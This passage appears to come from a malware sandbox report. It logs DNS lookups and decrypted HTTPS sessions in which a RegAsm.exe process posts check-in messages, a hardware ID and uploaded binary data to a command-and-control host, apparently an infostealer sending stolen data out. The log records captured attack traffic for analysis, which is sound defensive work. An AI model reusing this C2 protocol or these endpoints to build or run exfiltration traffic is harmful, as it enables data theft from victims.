May 4, 2024 22:22:48.334726095 CEST	192.168.2.4	1.1.1.1	0x27a3	Standard query (0)	pearcyworkeronej.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 4, 2024 22:22:48.493444920 CEST	1.1.1.1	192.168.2.4	0x27a3	No error (0)	pearcyworkeronej.shop		172.67.131.204	A (IP address)	IN (0x0001)	false
May 4, 2024 22:22:48.493444920 CEST	1.1.1.1	192.168.2.4	0x27a3	No error (0)	pearcyworkeronej.shop		104.21.4.79	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pearcyworkeronej.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.131.204	443	6676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 20:22:48 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pearcyworkeronej.shop
2024-05-04 20:22:48 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-04 20:22:49 UTC	814	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 20:22:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=prp70o9p7b4evpbhue8devv4jg; expires=Wed, 28-Aug-2024 14:09:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fXlY9%2Bj5vAOgC%2B32rIHb%2FI%2F9fhxHNvn%2F43TC9QIdXFnWsSiamVwDx4lCc6fkfMEgl06e0fdfoHrQCgpnSAp5PC6t2F%2BYB7or8H5VDX4fnZ5wL0iVgqZn4Qiw57uacqtoUl9OS2%2F2i18%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87eb347ccb4c2a85-LAX alt-svc: h3=":443"; ma=86400
2024-05-04 20:22:49 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-04 20:22:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49731	172.67.131.204	443

Timestamp	Bytes transferred	Direction	Data
2024-05-04 20:22:50 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: pearcyworkeronej.shop
2024-05-04 20:22:50 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 75 59 59 33 4e 49 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=uYY3NI--&j=default
2024-05-04 20:22:50 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 20:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v6ju9m0pigtevv3t82d6llcsen; expires=Wed, 28-Aug-2024 14:09:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y%2BxJKStwZAy9LPNV1cCQZ3nsREcEX0QElOrd6SXgUfkWuK6GZl1fykf%2FQSyhEQSAbr77Bj%2BgTriGBecZ0pjZSDGNNgYTESSzYkN6woC8adHKV%2FrtXxt33Hgzumi3dXloDMGD8Pww9y4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87eb348478672f21-LAX alt-svc: h3=":443"; ma=86400
2024-05-04 20:22:50 UTC	561	IN	Data Raw: 33 64 62 34 0d 0a 53 7a 61 2f 4e 55 56 4b 72 42 59 73 63 6f 32 74 77 75 59 51 54 38 4e 76 46 56 6a 31 65 68 2f 6a 41 6b 55 5a 54 63 79 72 73 78 55 77 50 4c 59 58 4d 32 69 57 4e 68 68 65 68 36 54 67 6c 58 56 74 2b 55 39 68 4b 6f 41 66 4d 2b 6b 4c 5a 33 67 70 37 70 47 54 63 79 70 61 7a 46 42 70 51 4b 55 30 51 51 71 76 6c 2b 4b 39 47 6b 61 34 5a 52 78 52 31 78 39 78 77 54 68 6c 4f 7a 71 70 79 64 5a 74 50 31 50 52 52 69 77 6c 77 6c 5a 42 46 2f 6e 4d 72 34 64 6a 4a 4f 30 47 65 6e 72 5a 63 42 62 71 49 43 42 6a 62 2f 61 4c 6b 56 67 75 51 74 35 34 4a 44 6e 48 4e 41 42 34 68 4b 54 67 67 32 52 74 2b 55 38 33 42 4e 63 4b 66 70 46 6a 4b 47 6f 52 37 70 48 49 53 57 6c 66 79 31 41 33 4b 39 68 2f 51 78 7a 2b 38 65 44 63 4a 6e 2f 7a 58 79 56 6f 69 46 67 56 36 6e 39 50 45 Data Ascii: 3db4Sza/NUVKrBYsco2twuYQT8NvFVj1eh/jAkUZTcyrsxUwPLYXM2iWNhheh6TglXVt+U9hKoAfM+kLZ3gp7pGTcypazFBpQKU0QQqvl+K9Gka4ZRxR1x9xwThlOzqpydZtP1PRRiwlwlZBF/nMr4djJO0GenrZcBbqICBjb/aLkVguQt54JDnHNAB4hKTgg2Rt+U83BNcKfpFjKGoR7pHISWlfy1A3K9h/Qxz+8eDcJn/zXyVoiFgV6n9PE
2024-05-04 20:22:50 UTC	1369	IN	Data Raw: 6c 46 49 55 56 5a 79 37 41 64 55 4d 51 2f 63 65 72 6a 33 63 2f 71 67 52 36 4e 35 63 56 64 34 35 6a 4a 33 77 6c 70 4d 62 62 63 79 52 5a 32 31 63 6e 61 49 41 63 4a 58 75 76 79 4c 6a 45 4b 6d 2f 68 4c 6e 49 71 6b 42 52 72 77 31 70 6e 45 30 53 78 68 37 6f 31 61 7a 79 32 54 6b 39 44 70 54 52 4a 48 4b 2b 58 34 73 52 36 4b 4b 49 4f 66 44 57 55 45 48 61 54 59 44 56 39 49 71 76 62 31 33 49 6e 58 74 35 46 4c 53 62 49 64 30 63 62 35 73 71 6e 67 44 4a 6a 79 57 59 63 65 70 41 41 50 64 6b 69 5a 31 6f 69 70 63 58 62 59 43 6b 55 74 54 77 34 5a 71 59 66 56 33 69 45 70 4f 43 44 66 6d 33 35 54 7a 63 2b 6c 68 78 38 68 57 34 70 66 79 4f 6f 78 39 78 34 4c 31 37 64 55 43 30 67 78 6e 56 44 47 2b 44 50 70 59 6c 32 4b 36 30 4d 63 6e 72 5a 63 42 62 71 49 43 42 6a 62 2f 61 4c 6b 56 Data Ascii: lFIUVZy7AdUMQ/cerj3c/qgR6N5cVd45jJ3wlpMbbcyRZ21cnaIAcJXuvyLjEKm/hLnIqkBRrw1pnE0Sxh7o1azy2Tk9DpTRJHK+X4sR6KKIOfDWUEHaTYDV9Iqvb13InXt5FLSbId0cb5sqngDJjyWYcepAAPdkiZ1oipcXbYCkUtTw4ZqYfV3iEpOCDfm35Tzc+lhx8hW4pfyOox9x4L17dUC0gxnVDG+DPpYl2K60McnrZcBbqICBjb/aLkV
2024-05-04 20:22:50 UTC	1369	IN	Data Raw: 57 79 59 36 79 58 31 48 47 75 37 42 72 34 39 2b 4b 4c 4d 47 65 44 4b 59 47 58 43 4d 61 79 4e 37 62 2b 43 68 75 68 78 70 55 38 55 58 66 32 71 4f 56 55 4d 66 2f 63 79 78 78 6b 63 75 72 77 4e 77 4c 4e 64 77 46 70 34 75 54 78 41 32 78 71 4b 36 4e 79 35 59 6e 51 39 6c 61 4d 39 34 51 68 48 67 79 61 71 4d 63 53 79 7a 42 48 67 79 6d 42 46 38 67 6d 51 6d 63 54 32 38 79 64 31 6c 4a 56 37 62 57 43 6f 6b 6a 6a 6f 6d 65 34 53 50 70 35 77 79 64 65 4e 4e 58 54 6d 44 47 33 66 44 56 53 52 31 49 61 6e 66 6b 52 39 43 53 35 4d 2f 54 44 47 6d 48 79 56 51 36 4d 50 67 33 44 42 74 72 41 78 2f 50 49 55 58 63 49 4a 75 4b 58 51 71 6f 63 48 52 64 79 52 52 32 56 77 73 4b 38 4e 77 58 42 72 76 78 36 57 46 65 43 66 68 51 78 39 52 2f 46 68 36 6d 53 42 2f 4f 57 2b 66 33 74 6f 31 48 46 66 Data Ascii: WyY6yX1HGu7Br49+KLMGeDKYGXCMayN7b+ChuhxpU8UXf2qOVUMf/cyxxkcurwNwLNdwFp4uTxA2xqK6Ny5YnQ9laM94QhHgyaqMcSyzBHgymBF8gmQmcT28yd1lJV7bWCokjjome4SPp5wydeNNXTmDG3fDVSR1IanfkR9CS5M/TDGmHyVQ6MPg3DBtrAx/PIUXcIJuKXQqocHRdyRR2VwsK8NwXBrvx6WFeCfhQx9R/Fh6mSB/OW+f3to1HFf
2024-05-04 20:22:50 UTC	1369	IN	Data Raw: 38 68 78 51 78 66 6b 7a 4c 4b 57 63 53 6d 76 41 54 64 30 2f 33 4d 57 77 57 63 2f 4f 33 66 73 69 66 52 67 4b 6b 54 62 56 47 64 41 70 57 73 41 65 49 54 57 79 4f 38 5a 62 61 59 42 4e 32 4c 56 57 48 32 50 62 43 78 38 4a 4b 58 4e 31 58 63 6b 58 39 4e 5a 4c 69 54 47 65 45 6b 43 34 73 71 6f 6a 6e 73 6f 72 51 42 30 4b 4a 51 5a 50 63 38 49 54 42 42 76 71 64 47 52 4c 32 73 55 2b 6d 51 51 43 34 34 63 4a 51 2b 68 70 38 75 64 47 6b 62 4b 54 58 41 32 31 30 41 2f 77 57 45 76 66 43 47 71 32 39 39 6c 4a 31 50 64 55 53 38 67 79 58 68 41 48 76 33 48 6f 59 52 38 49 71 6b 45 63 7a 75 54 48 48 47 47 49 47 6b 54 52 4d 57 4a 31 6d 39 70 44 4a 38 58 44 79 76 55 62 67 77 2b 35 4d 2b 6e 6c 47 51 32 34 57 55 63 4a 64 6c 77 46 70 67 49 54 42 42 76 71 63 57 52 4c 32 73 55 32 56 77 74 Data Ascii: 8hxQxfkzLKWcSmvATd0/3MWwWc/O3fsifRgKkTbVGdApWsAeITWyO8ZbaYBN2LVWH2PbCx8JKXN1XckX9NZLiTGeEkC4sqojnsorQB0KJQZPc8ITBBvqdGRL2sU+mQQC44cJQ+hp8udGkbKTXA210A/wWEvfCGq299lJ1PdUS8gyXhAHv3HoYR8IqkEczuTHHGGIGkTRMWJ1m9pDJ8XDyvUbgw+5M+nlGQ24WUcJdlwFpgITBBvqcWRL2sU2Vwt
2024-05-04 20:22:50 UTC	1369	IN	Data Raw: 55 54 35 63 61 6a 69 48 51 73 72 77 31 35 4f 74 64 57 46 65 6f 4c 5a 33 77 33 37 70 47 54 4e 77 6c 66 79 30 49 6b 4f 4d 68 7a 51 6c 43 48 70 4c 2f 4b 47 6b 61 34 5a 52 78 52 31 78 39 78 77 54 68 6c 4f 79 47 38 7a 64 42 33 49 56 33 52 58 43 38 36 79 58 4e 46 48 75 48 45 70 49 68 37 4a 71 67 49 65 7a 75 63 45 58 69 46 61 69 46 32 62 2b 43 68 75 68 78 70 55 38 55 58 66 32 71 4f 57 45 30 66 35 49 2f 49 37 32 31 6a 79 57 5a 75 55 76 78 7a 50 59 5a 73 5a 79 4e 74 37 73 37 5a 66 79 64 58 32 31 77 72 4a 4d 39 39 53 42 58 6e 79 4b 2b 44 65 79 71 68 43 32 55 39 6d 68 46 39 69 6d 6b 74 66 79 36 6c 69 5a 38 66 51 6a 2b 64 55 44 39 6f 6c 6a 59 4f 49 75 6a 5a 73 49 63 79 52 63 6f 53 4f 56 48 2f 63 32 54 70 43 30 77 37 4b 4b 4b 4a 69 54 56 70 57 63 39 57 49 6a 72 4b 65 Data Ascii: UT5cajiHQsrw15OtdWFeoLZ3w37pGTNwlfy0IkOMhzQlCHpL/KGka4ZRxR1x9xwThlOyG8zdB3IV3RXC86yXNFHuHEpIh7JqgIezucEXiFaiF2b+ChuhxpU8UXf2qOWE0f5I/I721jyWZuUvxzPYZsZyNt7s7ZfydX21wrJM99SBXnyK+DeyqhC2U9mhF9imktfy6liZ8fQj+dUD9oljYOIujZsIcyRcoSOVH/c2TpC0w7KKKJiTVpWc9WIjrKe
2024-05-04 20:22:50 UTC	1369	IN	Data Raw: 44 72 34 64 39 4c 71 49 4d 66 53 69 46 46 48 53 4a 5a 53 74 77 49 61 6a 62 31 33 67 67 56 39 35 65 49 43 44 43 66 6b 30 58 72 34 48 49 37 78 6c 74 70 68 55 33 59 74 56 59 58 70 5a 77 4b 6a 74 48 78 64 61 66 48 30 4a 4e 74 54 78 4d 61 4d 6c 34 44 6b 69 74 6a 36 69 4a 65 69 65 6c 43 6e 6f 39 6b 52 46 76 69 47 55 70 65 79 75 6c 78 74 64 7a 4b 6c 54 50 55 53 4d 67 7a 58 6c 44 48 75 7a 4c 34 4d 6f 61 52 73 70 4e 63 43 4c 58 51 44 2f 42 55 69 70 31 4e 4b 48 4f 77 48 31 70 50 4c 5a 49 61 55 43 6c 62 53 5a 37 68 49 2b 6e 69 44 4a 31 34 30 31 7a 4e 49 55 54 66 49 70 72 4b 58 77 67 71 38 50 52 65 43 31 58 30 31 77 6d 4b 38 5a 35 51 78 37 6c 78 71 6d 44 66 69 6d 6d 54 54 6c 53 2f 48 4d 39 68 6e 68 6e 49 32 33 75 34 76 42 61 42 56 50 48 46 30 39 44 30 54 6f 6d 65 2f Data Ascii: Dr4d9LqIMfSiFFHSJZStwIajb13ggV95eICDCfk0Xr4HI7xltphU3YtVYXpZwKjtHxdafH0JNtTxMaMl4Dkitj6iJeielCno9kRFviGUpeyulxtdzKlTPUSMgzXlDHuzL4MoaRspNcCLXQD/BUip1NKHOwH1pPLZIaUClbSZ7hI+niDJ1401zNIUTfIprKXwgq8PReC1X01wmK8Z5Qx7lxqmDfimmTTlS/HM9hnhnI23u4vBaBVPHF09D0Tome/
2024-05-04 20:22:50 UTC	1369	IN	Data Raw: 63 54 75 73 48 54 64 53 2f 41 63 7a 36 51 73 2b 45 30 54 46 69 64 5a 37 61 51 79 66 46 79 45 68 79 48 4e 49 48 76 33 4b 70 6f 74 39 4a 4b 67 4a 66 7a 6d 58 48 48 6d 47 5a 53 52 33 4a 4b 6e 4b 33 6e 4d 67 57 74 52 59 5a 32 61 6d 48 79 56 51 36 4e 66 67 33 44 42 74 67 42 5a 30 4e 70 70 59 46 65 70 2f 61 52 4e 45 74 36 47 36 48 47 6c 54 30 52 64 2f 61 6f 35 34 51 42 58 76 78 61 61 41 64 79 75 72 43 48 63 78 6c 42 64 35 68 32 51 6f 65 79 53 6e 79 4e 64 79 49 31 2f 62 57 69 51 75 79 44 51 41 65 49 53 6b 34 49 4e 71 62 66 6c 50 4e 78 71 4d 46 58 47 47 49 45 38 51 4d 4f 43 68 75 6d 35 42 50 37 59 58 49 43 53 4f 4c 41 78 51 35 4d 4f 6b 67 33 49 67 6f 67 56 79 50 70 30 64 66 59 6c 79 4c 33 73 6f 76 4e 76 52 66 69 78 59 33 6c 63 6a 4c 73 64 79 54 52 53 76 67 63 6a Data Ascii: cTusHTdS/Acz6Qs+E0TFidZ7aQyfFyEhyHNIHv3Kpot9JKgJfzmXHHmGZSR3JKnK3nMgWtRYZ2amHyVQ6Nfg3DBtgBZ0NppYFep/aRNEt6G6HGlT0Rd/ao54QBXvxaaAdyurCHcxlBd5h2QoeySnyNdyI1/bWiQuyDQAeISk4INqbflPNxqMFXGGIE8QMOChum5BP7YXICSOLAxQ5MOkg3IgogVyPp0dfYlyL3sovNvRfixY3lcjLsdyTRSvgcj
2024-05-04 20:22:50 UTC	1369	IN	Data Raw: 52 55 33 59 74 56 59 53 49 4a 75 4b 58 77 35 76 34 54 32 65 53 35 56 79 30 63 77 4a 34 34 36 4a 6e 75 45 6a 36 62 45 4b 6d 2f 79 51 78 39 52 2f 46 68 35 6b 43 42 2f 4f 58 2f 38 6b 6f 51 6b 66 67 53 50 50 30 77 33 67 42 77 6c 43 59 65 6b 79 38 52 6b 62 66 6c 50 4a 58 54 2f 63 78 62 42 63 6d 63 6a 62 65 36 4f 30 6d 55 37 55 74 35 42 4a 47 2f 77 53 6d 6b 47 35 63 69 77 67 32 55 69 34 55 4d 66 55 66 78 59 63 73 45 34 5a 55 4a 48 78 61 4b 36 4e 79 42 54 78 6b 59 78 4a 64 35 7a 44 6e 69 45 70 4a 2f 4b 47 6b 62 4b 54 57 39 36 7a 31 6f 39 74 47 4d 70 64 53 69 34 32 4a 78 51 50 31 37 61 52 79 41 2f 77 54 51 41 65 49 53 6b 34 49 49 79 64 65 4e 65 4f 56 4c 38 63 7a 32 46 63 57 63 6a 62 66 36 62 69 69 4a 36 41 34 30 46 54 30 50 52 4f 69 5a 37 39 71 66 4c 37 7a 49 37 Data Ascii: RU3YtVYSIJuKXw5v4T2eS5Vy0cwJ446JnuEj6bEKm/yQx9R/Fh5kCB/OX/8koQkfgSPP0w3gBwlCYeky8RkbflPJXT/cxbBcmcjbe6O0mU7Ut5BJG/wSmkG5ciwg2Ui4UMfUfxYcsE4ZUJHxaK6NyBTxkYxJd5zDniEpJ/KGkbKTW96z1o9tGMpdSi42JxQP17aRyA/wTQAeISk4IIydeNeOVL8cz2FcWcjbf6biiJ6A40FT0PROiZ79qfL7zI7
2024-05-04 20:22:50 UTC	1369	IN	Data Raw: 69 75 57 48 36 54 63 6d 68 71 4f 61 50 5a 31 6a 73 68 52 64 42 62 5a 32 61 4d 4e 41 49 55 35 4d 4f 6c 67 32 4a 69 73 78 31 38 4e 6f 46 55 65 5a 4d 67 61 54 6c 76 76 38 4c 65 5a 53 64 54 6b 6b 59 78 4a 64 35 33 53 78 65 6a 78 37 47 4a 66 6d 33 76 54 7a 63 76 6e 42 52 37 6a 48 56 6f 61 6a 6d 74 33 39 59 37 49 55 58 51 57 32 63 58 67 42 77 6c 65 36 2f 58 34 4e 77 77 62 5a 51 4f 65 54 53 51 44 6d 7a 4d 51 43 78 33 4c 4b 4c 49 31 6a 64 6e 50 4c 59 38 5a 79 36 4f 4c 41 78 44 6f 61 66 4c 37 7a 49 70 73 45 30 76 65 4d 64 4b 4a 74 51 7a 63 43 74 39 78 71 4c 4f 4f 55 45 2f 78 44 39 4d 51 34 35 69 44 6b 69 74 6e 65 37 73 47 55 62 68 48 7a 64 69 31 56 67 36 67 6e 49 31 66 53 79 34 79 70 5a 4a 46 31 58 51 57 47 73 6d 78 58 52 4a 41 50 6e 55 37 49 78 78 4e 37 73 7a 53 Data Ascii: iuWH6TcmhqOaPZ1jshRdBbZ2aMNAIU5MOlg2Jisx18NoFUeZMgaTlvv8LeZSdTkkYxJd53Sxejx7GJfm3vTzcvnBR7jHVoajmt39Y7IUXQW2cXgBwle6/X4NwwbZQOeTSQDmzMQCx3LKLI1jdnPLY8Zy6OLAxDoafL7zIpsE0veMdKJtQzcCt9xqLOOUE/xD9MQ45iDkitne7sGUbhHzdi1Vg6gnI1fSy4ypZJF1XQWGsmxXRJAPnU7IxxN7szS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.131.204	443	6676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 20:22:51 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: pearcyworkeronej.shop
2024-05-04 20:22:51 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 30 46 39 38 44 38 34 30 38 43 46 43 34 42 36 38 33 36 35 32 34 41 30 41 35 30 32 38 30 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"960F98D8408CFC4B6836524A0A502805--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-05-04 20:22:51 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-04 20:22:52 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 20:22:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9b63ukk68kr924d3q4k5r3nrt5; expires=Wed, 28-Aug-2024 14:09:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pCuZM%2Frvuu6vN2Y0HtOB4MHjkkdSI10NJl%2BYjDUv48MmUjSeetfmxlMyoIeLzpYYq0iN5Cbqg5DBk0mxSG6GIXOjvpaASWKIrQ%2FoGD%2Bs04ZgSCW2jAuRJdbmu8yi8F1P2IQlbGBfunM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87eb348b99952af3-LAX alt-svc: h3=":443"; ma=86400
2024-05-04 20:22:52 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 34 2e 31 30 34 0d 0a Data Ascii: 10ok 81.181.54.104
2024-05-04 20:22:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.131.204	443	6676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 20:22:52 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: pearcyworkeronej.shop
2024-05-04 20:22:52 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 30 46 39 38 44 38 34 30 38 43 46 43 34 42 36 38 33 36 35 32 34 41 30 41 35 30 32 38 30 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"960F98D8408CFC4B6836524A0A502805--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-05-04 20:22:53 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 20:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ncfrp3703ffmv36d57a6b88jb9; expires=Wed, 28-Aug-2024 14:09:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=69kTtgJEUfmToFlsuT1XkMgU%2FKAuiw63MO9N7olzWxCYSzbpNCCNUOO2qksIxDho7G1Wytzna7JyacTDB%2BZOyLDxsLydGPsKGcisu07RoG9Se53op%2FQCx8CYCg6DMui9yd1Fsbs%2FBqA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87eb3493de850fb8-LAX alt-svc: h3=":443"; ma=86400
2024-05-04 20:22:53 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 34 2e 31 30 34 0d 0a Data Ascii: 10ok 81.181.54.104
2024-05-04 20:22:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.131.204	443	6676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 20:22:53 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: pearcyworkeronej.shop
